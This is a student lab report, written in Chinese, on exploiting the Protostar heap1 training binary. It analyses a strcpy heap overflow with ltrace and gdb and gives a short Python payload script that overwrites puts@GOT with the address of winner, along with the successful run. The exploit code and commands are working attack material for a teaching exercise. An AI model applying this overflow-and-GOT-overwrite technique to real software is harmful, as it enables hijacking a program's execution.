



CS3312 Lab Heap1

学号: 522031910439 姓名: 梁俊轩

2025 年 4 月 16 日

1 代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap1 的 C 语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
    int priority;
    char *name;
};

void winner()
{
    printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    struct internet *i1, *i2, *i3;

    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name = malloc(8);

    i2 = malloc(sizeof(struct internet));
    i2->priority = 2;
    i2->name = malloc(8);

    strcpy(i1->name, argv[1]);
    strcpy(i2->name, argv[2]);

    printf("and that's a wrap folks!\n");
}
```

2 漏洞分析

程序分配两个 `internet` 结构体 `i1` 和 `i2`, 每个结构体包含一个 `priority` 字段和一个指向堆块的 `name` 指针。用户输入通过 `strcpy` 写入 `i1->name` 和 `i2->name`, 无长度检查。

漏洞链: 溢出 `i1->name` 覆盖 `i2` 的 `name` 指针。通过 `strcpy(i2->name, argv[2])` 实现任意地址写, 将 `winner` 地址写入 GOT 表 (如 `puts` 条目)。

首先我们使用 `ltrace` 来查看程序的调用情况:

```
root@protostar:/opt/protostar/bin# ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed
root@protostar:/opt/protostar/bin# ^C
root@protostar:/opt/protostar/bin# ltrace ./heap1 AAAABBBB CCCDDDD
__libc_start_main(0x80484b9, 3, 0xbffffd94, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)= 0x0804a008
malloc(8)= 0x0804a018
malloc(8) = 0x0804a028
malloc(8)= 0x0804a038
strcpy(0x0804a018, "AAAABBBB")= 0x0804a018
strcpy(0x0804a038, "CCCDDDD")= 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)
= 25
+++ exited (status 25) +++
```

一共 `malloc` 了四次, 分别为 `i1`、`i1->name`、`i2`、`i2->name`, `i1` 和 `i2` 的地址分别为 `0x0804a008` 和 `0x0804a028`, 而 `i1->name` 和 `i2->name` 的地址分别为 `0x0804a018` 和 `0x0804a038`。

接下来进一步查看堆空间的情况:

```
root@protostar:/opt/protostar/bin# gdb -q heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) b *0x804855a
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
(gdb) r AAAABBBB CCCDDDD
Starting program: /opt/protostar/bin/heap1 AAAABBBB CCCDDDD

Breakpoint 1, main (argc=3, argv=0xbffffd64) at heap1/heap1.c:34
34heap1/heap1.c: No such file or directory.
in heap1/heap1.c
(gdb) x/32xw 0x0804a008
0x804a008:0x000000010x0804a0180x000000000x00000011
0x804a018:0x414141410x424242420x000000000x00000011
0x804a028:0x000000200x0804a0380x000000000x00000011
0x804a038:0x434343430x444444440x000000000x00020fc1
0x804a048:0x000000000x000000000x000000000x00000000
0x804a058:0x000000000x000000000x000000000x00000000
0x804a068:0x000000000x000000000x000000000x00000000
0x804a078:0x000000000x000000000x000000000x00000000
```

可以很容易观察后得出堆空间上的数据分布, 如下,

内存布局示意:

```
+-----+      溢出方向
| i1结构体      | --> priority(4B)
| name指针(4B)  |
+-----+
| i1->name缓冲区 |
```

```
| (8B用户数据区) | --> 溢出覆盖下游结构体
+-----+
| i2结构体      |
| priority(4B)   |
| name指针(4B)   | --> 被篡改为GOT地址
+-----+
| i2->name缓冲区 |
+-----+
```

那么，我们需要通过 `i1->name` 的堆溢出，覆盖相邻 `i2` 结构体的 `name` 指针，使其指向 `puts@GOT` 表项。利用 `strcpy(i2->name, argv[2])` 操作，将 `winner` 函数地址写入 `puts@GOT` 表项，完成函数指针替换。当程序后续调用 `puts` 函数时（如执行 `printf`），实际跳转至 `winner` 函数执行。

在 `gdb` 中反汇编 `0x80483cc` 开始的代码，并查看内存区域，

```
(gdb) disas 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>: jmp     *0x8049774
0x080483d2 <puts@plt+6>: push    0x30
0x080483d7 <puts@plt+11>: jmp     0x804835c
End of assembler dump.
(gdb) x/8xw 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2 0x00000000 0x00000000 0x00000000
0x8049784 <dtor_idx.5984>: 0x00000000 0x00000000 0x00000000 0x00000000
```

这里 `0x080483d2` 就是 `puts` 函数的地址，接下来我们需要设计攻击脚本：

```
padding = "A" * 20
entrance_puts = '\x74\x97\x04\x08'
argv_1 = padding + entrance_puts
winner_addr = '\x94\x84\x04\x08'
argv_2 = winner_addr
payload = argv_1 + " " + argv_2
print payload
```

最后我们发现成功攻击：

```
root@protostar:/opt/protostar/bin# ./heap1 `python h0.py`
and we have a winner @ 1744815279
root@protostar:/opt/protostar/bin#
```

图 1 攻击结果